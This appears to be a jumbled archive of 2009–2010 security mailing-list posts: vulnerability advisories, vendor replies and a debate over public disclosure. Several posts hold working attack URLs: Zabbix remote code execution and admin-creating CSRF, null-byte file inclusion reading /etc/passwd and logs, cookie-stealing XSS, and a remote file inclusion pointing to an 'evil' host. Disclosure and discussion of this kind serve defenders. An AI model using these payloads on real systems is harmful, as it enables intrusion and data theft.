> http://site/xampp/special/ps/shading.php
> http://site/xampp/special/ps/spotcolor.php
> http://site/xampp/special/ps/text.php
>
> Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next
> versions (including last version XAMPP 1.7.1).
>
> -----------------------------
>
> Best wishes & regards,
> MustLive
> Administrator of Websecurity web site
> http://websecurity.com.ua


From: MustLive mustlive@websecurity.com.ua
Sent: Sat 6. Feb 2010 23:56
Hello Sebastien!

You can confirm it by yourself. Just find a site on XAMPP (Google can help
you with it) and check the holes using PoCs which I provided.

> and what target of xampp is it ? win32 ? linux ?

As far as I remember last year when I found all these vulnerabilities in
XAMPP, it was XAMPP on Windows servers on all those sites where I found
these holes.

In 99% of cases Im researching vulnerabilities in the Web at real sites,
not at localhost (at localhost I can check for holes only in software which
I use). And I had never used XAMPP (or WAMPP or LAMPP) and I checked all
these holes at real web sites. So in all my advisories I wrote "Vulnerable
are XAMPP 1.6.8 and previous versions", because maximum version which I
found was 1.6.8. And it was quite possible that version 1.7.1 (last version
at that time) was also vulnerable, so I mentioned about it in my advisories.
And XAMPP developers didnt refute existence of vulnerabilities in 1.7.0 and
1.7.1, when I informed them, and didnt answer if they fixed the holes (so
its possible that these holes are still not fixed).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: S?bastien H?nar?s
To: MustLive
Cc: advisories@intern0t.net ; bugtraq@securityfocus.com
Sent: Friday, February 05, 2010 1:19 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hello people, can a secondary source confirm the vuln please ?
and what target of xampp is it ? win32 ? linux ?


2010/2/4 MustLive <mustlive@websecurity.com.ua>

Hello MaXe!


Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?


No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua


From: lars@enomaly.com
Sent: Tue 16. Feb 2010 15:39
The reported issue DOES NOT AFFECT ANY CURRENT ENOMALY PRODUCT.  Our current products are Enomaly ECP Service Provider Edition and Enomaly ECP High Assurance Edition, and neither utilizes the "vmfeed" module.

Specifically, the "vmfeed" module has not been utilized in any version of our products released since the initial release of Enomaly ECP Service Provider Edition in June 2009.  The "vmfeed" module was utilized only in our previous-generation "Community Edition" product, which has been deprecated and withdrawn from distribution.  Enomaly ECP Service Provider Edition is a completely different product from the old Community Edition.

As a result, since the Community Edition product is deprecated and has been withdrawn, Enomaly has not investigated this reported issue.

Further information on the differences between the deprecated Community Edition technology and our current Service Provider Edition technology can be found at http://src.enomaly.com.

Lars-Erik Forsberg, VP Delivery
Enomaly Inc.


From: dan.j.rosenberg@gmail.com
Sent: Fri 5. Mar 2010 12:10
Apparently Bugtraq doesnt like attachments.  The patches are available as attachments to the archived Full-Disclosure posting, at:

http://seclists.org/fulldisclosure/2010/Mar/122


From: Andrew Morum amorum@brendata.co.uk
Sent: Thu 3. Jun 2010 15:57
Not sure, phprunner incorporates this doesnt it? 

-----Original Message-----
From: Alex Legler [mailto:a3li@gentoo.org] 
Sent: 02 June 2010 22:18
To: gentoo-announce@gentoo.org
Cc: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk;
security-alerts@linuxsecurity.com
Subject: [ GLSA 201006-13 ] Smarty: Multiple vulnerabilities

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

Gentoo Linux Security Advisory                           GLSA 201006-13=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

                                            http://security.gentoo.org/=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


  Severity: Normal
     Title: Smarty: Multiple vulnerabilities
      Date: June 02, 2010
      Bugs: #212147, #243856, #270494
        ID: 201006-13

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


Synopsis
=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities in the Smarty template engine might allow
remote attackers to execute arbitrary PHP code.

Background
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Smarty is a template engine for PHP.

Affected packages
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

    -------------------------------------------------------------------=

     Package         /  Vulnerable  /                       Unaffected
    -------------------------------------------------------------------=

  1  dev-php/smarty      < 2.6.23                            >=3D 2.6.2=
3

Description
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities have been discovered in Smarty:

* The vendor reported that the modifier.regex_replace.php plug-in
  contains an input sanitation flaw related to the ASCII NUL character
  (CVE-2008-1066).

* The vendor reported that the _expand_quoted_text() function in
  libs/Smarty_Compiler.class.php contains an input sanitation flaw via
  multiple vectors (CVE-2008-4810, CVE-2008-4811).

* Nine:Situations:Group::bookoo reported that the
  smarty_function_math() function in libs/plugins/function.math.php
  contains input sanitation flaw (CVE-2009-1669).

Impact
=3D=3D=3D=3D=3D=3D

These issues might allow a remote attacker to execute arbitrary PHP
code.

Workaround
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

There is no known workaround at this time.

Resolution
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

All Smarty users should upgrade to an unaffected version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=3Ddev-php/smarty-2.6.23"

NOTE: This is a legacy GLSA. Updates for all affected architectures are=

available since June 2, 2009. It is likely that your system is already
no longer affected by this issue.

References
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

  [ 1 ] CVE-2008-1066
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-1066
  [ 2 ] CVE-2008-4810
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4810
  [ 3 ] CVE-2008-4811
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4811
  [ 4 ] CVE-2009-1669
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2009-1669

Availability
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-201006-13.xml

Concerns?
=3D=3D=3D=3D=3D=3D=3D=3D=3D

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.

License
=3D=3D=3D=3D=3D=3D=3D

Copyright 2010 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5


The information contained in this email is intended for the personal an=
d confidential use
of the addressee only. It may also be privileged information. If you ar=
e not the intended
recipient then you are hereby notified that you have received this docu=
ment in error and
that any review, distribution or copying of this document is strictly p=
rohibited. If you have 
received  this communication in error, please notify Brendata immediate=
ly on: 

+44 (0)1268 466100, or email technical@brendata.co.uk 

Brendata (UK) Ltd
Nevendon Hall, Nevendon Road, Basildon, Essex. SS13 1BX  UK
Registered Office as above. Registered in England No. 2764339

See our current vacancies at www.brendata.co.uk


From: security curmudgeon jericho@attrition.org
Sent: Thu 1. Jul 2010 19:16
On Sat, 12 Jun 2010, info@securitylab.ir wrote:

: #################################################################  
: # Securitylab.ir  
: #################################################################  
: # Application Info:  
: # Name: Cherokee Web Server
: # Version: 0.5.3
: # Download: http://mirror.aarnet.edu.au/pub/cherokee/windows/Cherokee-setup-0.5.3.exe
: #################################################################  

: [Directory Traversal]:
: http://127.0.0.1/%5C../%5C../%5C../boot.ini%20

This is essentially CVE-2009-3902, just encoding one char.

: [Remote Source Disclosure]:
: http://127.0.0.1:80/file.html::$DATA
: 
: http://127.0.0.1/index.htm%20 

Did you try these on something other than HTML? Did it work for .php or 
.asp for example?


From: scott.switzer@openx.org
Sent: Wed 28. Jan 2009 16:34
OpenX has fixed all of the vulnerabilities, and will release new versions of v2.4 and v2.6, after the QA cycle, in the next 24-48 hours.

Scott Switzer
OpenX Community Leader


From: =?ISO-8859-1?Q?Roberto_Mu=F1oz_Fernandez?= robertomf@fujitsu.es
Sent: Fri 6. Mar 2009 00:42
Vulnerability A) confirmed in zabbix 1.4.* for example in..


http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort[%22.phpinfo().%22]=1
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
>
>  Name              Multiple Vulnerabilities in Zabbix Frontend
>  Systems Affected  Zabbix 1.6.2 and possibly earlier versions
>  Severity          High
>  Impact (CVSSv2)   High 9.7/10, vector: (AV:N/AC:L/Au:N/C:P/I:C/A:C)
>  Vendor            http://www.zabbix.com/
>  Advisory          http://www.ush.it/team/ush/hack-zabbix_162/adv.txt
>  Authors           Antonio "s4tan" Parata (s4tan AT ush DOT it)
>                    Francesco "ascii" Ongaro (ascii AT ush DOT it)
>                    Giovanni "evilaliv3" Pellerano (evilaliv3 AT
>                    digitalbullets DOT org)
>  Date              20090303
>
> I. BACKGROUND
>
> >From the Zabbix web site: "ZABBIX offers advanced monitoring, alerting
> and visualization features today which are missing in other monitoring
> systems, even some of the best commercial ones".
>
> II. DESCRIPTION
>
> Multiple Vulnerabilities exist in Zabbix front end software.
>
> III. ANALYSIS
>
> Summary:
>
>  A) Remote Code Execution
>  B) Cross Site Request Forgery
>  C) Local File Inclusion
>
> A) Remote Code Execution
>
> A Remote Code Execution issue has been found in Zabbix version
> 1.6.2 and no authentication is required in order to exploit this
> vulnerability. The Magic Quotes must be off in order to exploit
> this vulnerability, however this feature will not be supported
> starting with PHP 6.0 (ref. http://it2.php.net/magic_quotes).
>
> Zabbix has a security feature that parses all incoming input for
> possible bad chars with the help of the function check_fields() defined
> in "include/validate.inc.php". The issue we have discovered is contained
> in this input validation code.
>
> Pages define an array of every used variable that derives from external
> (GPC) input. An example of the mechanism is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> $fields=array(
>  "config"=>     array(T_ZBX_INT, O_OPT, P_SYS, IN("0,1"), NULL),
>  // actions
>  "groupid"=>    array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "hostid"=>     array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "start"=>      array(T_ZBX_INT, O_OPT, P_SYS, BETWEEN(0,65535)."({}%".
>                 PAGE_SIZE."==0)", NULL),
>  "next"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  "prev"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  // filter
>  "filter_rst"=> array(T_ZBX_INT, O_OPT, P_SYS, IN(array(0,1)), NULL),
>  "filter_set"=> array(T_ZBX_STR, O_OPT, P_SYS, null, NULL),
>  "userid"=> array(T_ZBX_INT, O_OPT, P_SYS, DB_ID, NULL),
>  filter_timesince=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  filter_timetill=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  //ajax
>  favobj=>     array(T_ZBX_STR, O_OPT, P_ACT, NULL, NULL),
>  favid=>      array(T_ZBX_STR, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj})),
>  state=>      array(T_ZBX_INT, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj}) && ("filter"=={favobj})),
> );
>
> check_fields($fields);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> After the definition of the "$fields" array all the variables are
> checked by the function check_fields().
>
> The main step of the check_fields() function is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> foreach($fields as $field => $checks){
>  $err |= check_field($fields, $field, $checks);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> Following the check_field() function we have identified that the
> functions main steps are the creation of some local variables using
> list() and a consequent call of calc_exp() (which resides in the same
> file).
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> list($type, $opt, $flags, $validation, $exception) = $checks;
> [...]
> $except=calc_exp($fields,$field,$exception);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> calc_exp()s code is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp($fields,$field,$expression){
>  if(zbx_strstr($expression,"{}") && !isset($_REQUEST[$field]))
>   return FALSE;
>
>  if(zbx_strstr($expression,"{}") && !is_array($_REQUEST[$field]))
>   $expression = str_replace("{}",$_REQUEST[".$field."],$expression);
>
>  if(zbx_strstr($expression,"{}") && is_array($_REQUEST[$field])){
>  foreach($_REQUEST[$field] as $key => $val){
>    $expression2 =
> str_replace("{}",$_REQUEST[".$field."][".$key."],$expression);
>    if(calc_exp2($fields,$field,$expression2)==FALSE)
>     return FALSE;
>   }
>   return TRUE;
>  }
>  return calc_exp2($fields,$field,$expression);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> As you can see we should be able to call calc_exp2(), our vulnerable
> function, avoiding to fall into a breach that exits (returns) from the
> function.
>
> Investigating calc_exp2()s source:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp2($fields,$field,$expression){
>  foreach($fields as $f => $checks){
>   $expression = str_replace({.$f.},$_REQUEST[".$f."],$expression);
>  }
>
>  $expression = trim($expression,"& ");
>  $exec = "return (".$expression.") ? 1 : 0;";
>
>  $ret = eval($exec);
>
>  return $ret;
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> We have reached a function that contains an eval() call of the "$exec"
> variable that contains user controlled data.
>
> To better understand how the executed string is composed we must find
> a disposable page. Thanks to "locales.php" we can reach this function
> without any authentication.
>
> Now if we try to execute the query:
>
> /locales.php?download&langTo&extlang[AAA]=1
>
> The value of $exec is the following:
>
> return (($_REQUEST["extlang"]["AAA"]!=)) ? 1 : 0;
>
> Some constraints exist: the injected payload must comply with the
> calc_exp()s requirements in order to call calc_exp2() and the created
> string must be syntactically correct. What we can do is to play with
> the key values of the array. An intermediate test was:
>
> /locales.php?download&langTo&extlang[AAA"];phpinfo();]=1
>
> But it generates a syntax error. After some thinking the problem was
> solved in this way:
>
> /locales.php?download&langTo&extlang[".phpinfo()."]=1
>
> Now the syntax is correct and the payload gets executed.
>
> B) Cross Site Request Forgery
>
> A CSRF vulnerability exists in file "users.php". If the admin visits the
> following link:
>
> /users.php?config=0&save&alias=alias&name=foo&surname=foo&user_type=3&
> lang=lang&theme=theme&autologout=0&url=url&refresh=0
>
> A user with admin permissions is created.
>
> C) Local File Inclusion
>
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
>
> The following URL exploits this vulnerability:
>
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
>
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
>
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
>
> Nullbyte injection normally requires magic quotes off.
>
> The vulnerable code is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> IV. DETECTION
>
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
>
> V. WORKAROUND
>
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.
>
> VI. VENDOR RESPONSE
>
> Vendor will fix all the exposed vulnerabilities in Zabbix 1.6.3.
>
> VII. CVE INFORMATION
>
> No CVE at this time.
>
> VIII. DISCLOSURE TIMELINE
>
> 20081215 Bug discovered
> 20090116 Initial vendor contact
> 20090116 Vendor Response (Fixes will be included in Zabbix 1.6.3)
> 20090130 Second email (When this is going to be fixed?)
> 20090131 Vendor Response (Everything has been fixed a week ago and is
>          publicy aviable in the SVN, Zabbix 1.6.3 will be released
>          within 10-15 days)
> 20090220 Third email (20 days elasped and no response, we will release
>          on 23 Feb)
> 20090220 Vendor Response (Postpone of 5-10 days required)
> 20090220 Third email (We will wait 5-10 days, 2 March is the deadline
>          if no contact)
> 20090303 Forced Advisory Release
>
> IX. CREDIT
>
> Antonio "s4tan" Parata, Francesco "ascii" Ongaro and Giovanni
> "evilaliv3" Pellerano are credited with the discovery of this
> vulnerability.
>
> Antonio "s4tan" Parata
> web site: http://www.ictsc.it/
> mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it
>
> Francesco "ascii" Ongaro
> web site: http://www.ush.it/
> mail: ascii AT ush DOT it
>
> Giovanni "evilaliv3" Pellerano
> web site: http://www.evilaliv3.org
> mail: giovanni.pellerano AT evilaliv3 DOT org
>
> X. LEGAL NOTICES
>
> Copyright (c) 2009 Francesco "ascii" Ongaro
>
> Permission is granted for the redistribution of this alert
> electronically. It may not be edited in any way without mine express
> written consent. If you wish to reprint the whole or any
> part of this alert in any other medium other than electronically,
> please email me for permission.
>
> Disclaimer: The information in the advisory is believed to be accurate
> at the time of publishing based on currently available information. Use
> of the information constitutes acceptance for use in an AS IS condition.
> There are no warranties with regard to this information. Neither the
> author nor the publisher accepts any liability for any direct, indirect,
> or consequential loss or damage arising from use of, or reliance on,
> this information.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
>   



From: Eygene Ryabinkin rea-sec@codelabs.ru
Sent: Mon 9. Mar 2009 14:59
Good day.

Small addition to the advisory.

Tue, Mar 03, 2009 at 03:30:26PM +0000, ascii wrote:
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
[...]
> C) Local File Inclusion
> 
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
> 
> The following URL exploits this vulnerability:
> 
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
> 
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
> 
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
> 
> Nullbyte injection normally requires magic quotes off.
> 
> The vulnerable code is the following:
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
> 
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

The second variable, extlang, also can be used for the file inclusion
and before r6886 there was the programming error: patch for locales.php
r6593 included wrong validation condition for extlang:
-----
if(ereg(^[A-Za-z0-9_]+$, $_REQUEST[srclang]) && ($_REQUEST[extlang] != new))
-----
This was fixed in revision 6886 of branches/1.6.

> IV. DETECTION
> 
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
> 
> V. WORKAROUND
> 
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.

Be sure to update to the r6886 or later, otherwise LFI will still
be possible.
-- 
Eygene


From: marianiscc@hotmail.com
Sent: Mon 13. Apr 2009 14:49
Discovered by Sirdarckcat from elhacker.net

------------------------------------------------------------------------
------------

Revista 1.1.2

http://php-revista.sourceforge.org

------------------------------------------------------------------------
------------

Revista is a simple spanish PHP magazine editor.

It was done by php.org.mx

It suffers of multiple vulnerabilities.

------------------------------------------------------------------------
------------

Remote File Inclusion

http://revista/estilo/[ANY STYLE]/index.php?adodb=http://evil/script

------------------------------------------------------------------------
------------

SQLi

http://revista/estilo/[ANY STYLE]/busqueda_tema.php?id_temas=-1+[SQL]

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=+[SQL]

http://revista/estilo/[ANY STYLE]/autor.php?id_autor=-1+[SQL]

http://revista/estilo/[ANY STYLE]/lista.php?email=+[SQL]

http://revista/estilo/[ANY STYLE]/articulo.php?id_articulo=-1+[SQL]

------------------------------------------------------------------------
------------

Credentials Bypass

http://revista/admin/index.php?ID_ADMIN=1&SUPER_ADMIN=1

------------------------------------------------------------------------
------------

XSS

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=<XSS>

http://revista/estilo/[ANY STYLE]/lista.php?email=<XSS>

------------------------------------------------------------------------
------------

Att.

Sirdarckcat


From: David Cantrell d.cantrell@outcometechnologies.com
Sent: Wed 13. May 2009 11:10
ascii wrote:

> FormMail 1.92 Multiple Vulnerabilities  ...

The authors own webpage about formmail mentions the NMS project at the 
bottom of the page, about which he says:

" While the free code found at my web site has not evolved much in
   recent years, the general programming practices and standards of CGI
   programs have. nms is an attempt by very active programmers in the
   Perl community to bring the *quality of code for these types of
   programs up to date and eliminate some of the bad programming
   practices and bugs* found in the existing Matts Script Archive code.

" I would highly recommend downloading the nms versions if you wish to
   learn CGI programming. The code you find at Matts Script Archive is
   not representative of how even I would code these days. *My interests
   and activies have moved on, however, and I just have not found the
   time to update all of my scripts*. One of the major reasons for this
   is that they work for many people. For this reason, I will continue to
   provide them to the public, but am also *pleased to make you aware of
   well-coded alternatives*. "

(my emphasis)

which to me looks like hes already addressed the issue by recommending 
that you use NMS formmail if you care about the quality of the code and 
any bugs.

-- 
David Cantrell
Outcome Technologies Ltd
BUPA House, 15-19 Bloomsbury Way, London WC1A 2BA
Registered in England, No: 3829851


From: ascii ascii@katamail.com
Sent: Wed 13. May 2009 13:05
David Cantrell wrote:
> which to me looks like hes already addressed the issue by recommending
> that you use NMS formmail if you care about the quality of the code and
> any bugs.

Dear David,

telling people to use a different software doesnt automatically fix
issues.

As we tested FormMail and want to warn people who deployed FormMail and
will deploy FormMail we posted an advisory for FormMail. Hope this open
your mind.

Bye,
ascii
ush.it


From: TK147@TheArchitect.com
Sent: Thu 28. May 2009 10:19
Well MaXe,

Thats very clever of you.  The "vendor" is rolling out a patch and new version to address the issues you have raised.  Not sure why you beleive this software, developed with untold manhours and effort, and then offered for a very modest fee, should be released without appropriate pirating protections.  ..and why you woouldnt warn them and subsequently countless innocents of the issue.  Isnt this what your site is about?

But thanks for raising the issue.

YouAllLookAlikeToMe


From: security@intern0t.net
Sent: Thu 28. May 2009 15:27
InterN0T is about Hacking. (if you have seen the introduction)

To me, Hacking is primarily about learning how and why things works as they do and if they can be changed (improved or abused in this case) and of course, sharing what you find out so the community can benefit from it! 

Afterwards, the developers can learn to code more secure (if you find a vulnerability). However, as we all might know: Security is a human factor and will always be a problem.

If i would contact the vendor as the first thing each time, how would people be able to learn from my research if its not even possible to get an earlier version where the vulnerability is included in?

Consider the alternatives (where i dont contact the vendor):
- Sell the vulnerability and know people will exploit people in the dark.
- Keep it to myself and exploit people.
- Share it among a little group of people and let them play/exploit with it.

Taking that into consideration makes public disclosure sound like a good option to me. :-)


All of the best,
MaXe

PS: Yes, i know people will exploit the issue / vulnerability in the public disclosure method, but in this case the dealer actually has a chance of fixing it and usually they will fix it faster because its a lot more urgent. 

It might stress them, but if they just made sure all function calls and user input (forms) were validated properly then i wouldnt have been able to find these holes in the first place ;-)


From: security curmudgeon jericho@attrition.org
Sent: Mon 20. Jul 2009 07:02
On Mon, 13 Apr 2009, marianiscc@hotmail.com wrote:

: Discovered by Sirdarckcat from elhacker.net

By discovered, you mean copied from the disclosure in September 2006 
right?

CVE-2006-4605 through CVE-2006-4608.



From: bill.carovano@citrix.com
Sent: Wed 29. Jul 2009 14:09
It should be noted that Citrix does not offer a feature or product called "XenCenterWeb."  At one time, this tool was included in the informal XenServer Resource Kit, to serve as an example of how to utilize the XenServer SDK and provide web-based consoles for specific types of administrators (where customers had such a need).  It was never a supported product or feature, and is in fact no longer available.

Bill Carovano
Sr. Director, Technical Product Marketing
Citrix Systems, Inc.


From: starchang@aten.com.tw
Sent: Wed 12. Aug 2009 10:34
This is Technical Support Team from ATEN.

Firstly, we appreciate all suggestions from Germany TUB LAB. Undoubtedly, guaranteeing our KVM products with robust security mechanism is our responsibility.

After discussing with Germany TUB LAB, we believe all security issues could be fixed by new Firmware version as below. 

- KH1508i/KH1516i v1.0.068 
- KN9108/KN9116 v1.1.109 
- PN9108 v1.8.179 

Scheduled Release Date is around Aug. 17, 2009 

Please visit our ATEN official site later.
http://www.aten.com/download/download.php

As for SSL Certificate, SSL Certificate import function has built into our KVM above with new firmware. We strongly suggest our KVM users to import their individual Certificate for advanced security concern. We will tell our KVM users how to generate their own Certificate by openssl tool in our product manual later.

Thanks,
ATEN SUPPORT


From: Glenn Rossi dragon@midatlanticbb.com
Sent: Mon 17. Aug 2009 11:56
I emailed you last week but did not receive a response.

What about units like the CN5000 that do not appear anywhere on your 
website?  We have two of these and are very concerned about the below-
referenced vulnerability.

Will a firmware upgrade for these units be forthcoming as well, or do 
we now own hundreds of dollars worth of paperweights?



> This is Technical Support Team from ATEN.
> 
> Firstly, we appreciate all suggestions from Germany TUB LAB.
> Undoubtedly, guaranteeing our KVM products with robust security
> mechanism is our responsibility. 
> 
> After discussing with Germany TUB LAB, we believe all security issues
> could be fixed by new Firmware version as below. 
> 
> - KH1508i/KH1516i v1.0.068 
> - KN9108/KN9116 v1.1.109 
> - PN9108 v1.8.179 
> 
> Scheduled Release Date is around Aug. 17, 2009 
> 
> Please visit our ATEN official site later.
> http://www.aten.com/download/download.php
> 
> As for SSL Certificate, SSL Certificate import function has built into
> our KVM above with new firmware. We strongly suggest our KVM users to
> import their individual Certificate for advanced security concern. We
> will tell our KVM users how to generate their own Certificate by
> openssl tool in our product manual later. 
> 
> Thanks,
> ATEN SUPPORT

--
Glenn Rossi
Operations/Security/Engineering
MidAtlantic BroadBand/Staffnet/Protel
------------------------------------------
voice:  (866) HELP-KIT ext 132

web:    http://www.midatlanticbb.com
email:  mailto:webmaster@midatlanticbb.com
fax:    (410) 727-8245
handle: dragon
------------------------------------------
MidAtlantic BroadBand
729 East Pratt St., Suite 440
Baltimore, MD USA 21202
------------------------------------------
Without security, freedom is not possible.
------------------------------------------




From: ign.sec@gmail.com
Sent: Wed 6. Jan 2010 09:55
One thing i forgot, a %00 must be included at the end of the LFI, IE: index.php?op=../../../../../../../etc/passwd%00 

And ?op is vulnerable to a xss attack, IE:
index.php?op=<script>alert(document.cookie)</script>

Ignacio.


From: MustLive mustlive@websecurity.com.ua
Sent: Thu 4. Feb 2010 22:01
Hello MaXe!

> Have you checked the newest aka (also known as) latest version which is
> actually: 1.7.3 ?

No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: advisories@intern0t.net
To: bugtraq@securityfocus.com ; MustLive
Sent: Monday, February 01, 2010 10:53 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hi MustLive

Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?

Link: http://www.apachefriends.org/en/xampp-windows.html


Best regards,
MaXe

On January 28, 2010 at 11:55 PM MustLive <mustlive@websecurity.com.ua>
wrote:

> Hello Bugtraq!
>
> I am continue informing you about multiple vulnerabilities in XAMPP.
>
> -----------------------------
> Advisory #7
> -----------------------------
> CSRF, SQL Injection and Full path disclosure vulnerabilities in XAMPP
> -----------------------------
> URL: http://websecurity.com.ua/3285/
> -----------------------------
